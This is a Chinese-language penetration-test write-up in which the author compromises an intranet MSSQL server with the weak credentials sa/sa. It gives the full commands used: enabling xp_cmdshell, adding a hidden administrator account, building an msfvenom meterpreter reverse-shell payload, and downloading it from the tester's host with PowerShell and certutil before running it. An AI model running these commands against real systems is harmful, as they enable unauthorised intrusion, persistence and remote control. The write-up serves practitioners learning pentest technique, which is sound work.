0x00 前言
最近在客户现场对内网服务器进行渗透测试,发现了大量的弱口令,本次历程就是从这里开始···
0x01 弱口令
对目标ip进行端口扫描,开放端口为80,445,1433,3389
访问80端口,只是一个安装成功的界面,扫描一下目录看是否有源码泄露,无果 使用nmap脚本对445端口进行扫描,看是否存在ms17010等漏洞,无果 使用超级弱口令工具爆破1433,爆破成功,账号密码:sa/sa 同时对3389端口进行爆破,无果
0x02 连接3389
EXEC sp_configure \'show advanced options\', 1;RECONFIGURE;EXEC sp_configure \'xp_cmdshell\',1;RECONFIGURE;
exec master..xp_cmdshell \"whoami\";
3389是开着的,不如加个用户直接连接远程桌面吧
exec master..xp_cmdshell \"net user test paperpen123. /add\";
exec master..xp_cmdshell \"net localgroup administrators test /add\";
0x03 powershell下载木马
需要强调一点,这里的内网不可以访问外网,因此无法使用命令从外网下载工具
那么可以这样,让他从我的本地服务器下载工具到他的服务器上就可以了
但是要关闭本机防火墙,执行后访问失败才想起来。我的ip是195.1.7.23
使用kali生成exe木马
msfvenom -p windows/meterpreter/reverse_tcp LHOST=195.1.7.23 LPORT=8888 -f exe > shell.exe
将shell.exe放到网站根目录下,链接为http://195.1.7.23/shell.exe
本地监听8888端口
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set LHOST 195.1.7.23
LHOST => 195.1.7.23
msf5 exploit(multi/handler) > set LPORT 8888
LPORT => 8888
msf5 exploit(multi/handler) > exploit
经测试,powershell是可以执行命令的,因此执行朋友Calendula给的下载命令
exec master..xp_cmdshell \"powershell $client = new-object System.Net.WebClient\";
exec master..xp_cmdshell \"powershell $client.DownloadFile(\'http://195.1.7.23/shell.exe\', \'shell.exe\')\";
0x04 证书下载
exec master..xp_cmdshell \'certutil.exe -urlcache -split -f \"http://195.1.7.23/shell.exe\"\';
0x05 反弹成功
exec master..xp_cmdshell \'shell.exe\';
回到监听界面,打算按下ctrl+c重新监听,结果进了meterpreter界面,原来是它卡住了···
查看了一下是不是域环境
没错是的,看来还有很长的路要走。。
0x06 结语
这次就写到这吧,如有进展,还会更新。欢迎各位师傅们留言讨论,互相交流,互相学习,共同进步。
作者:PaperPen,来源:先知社区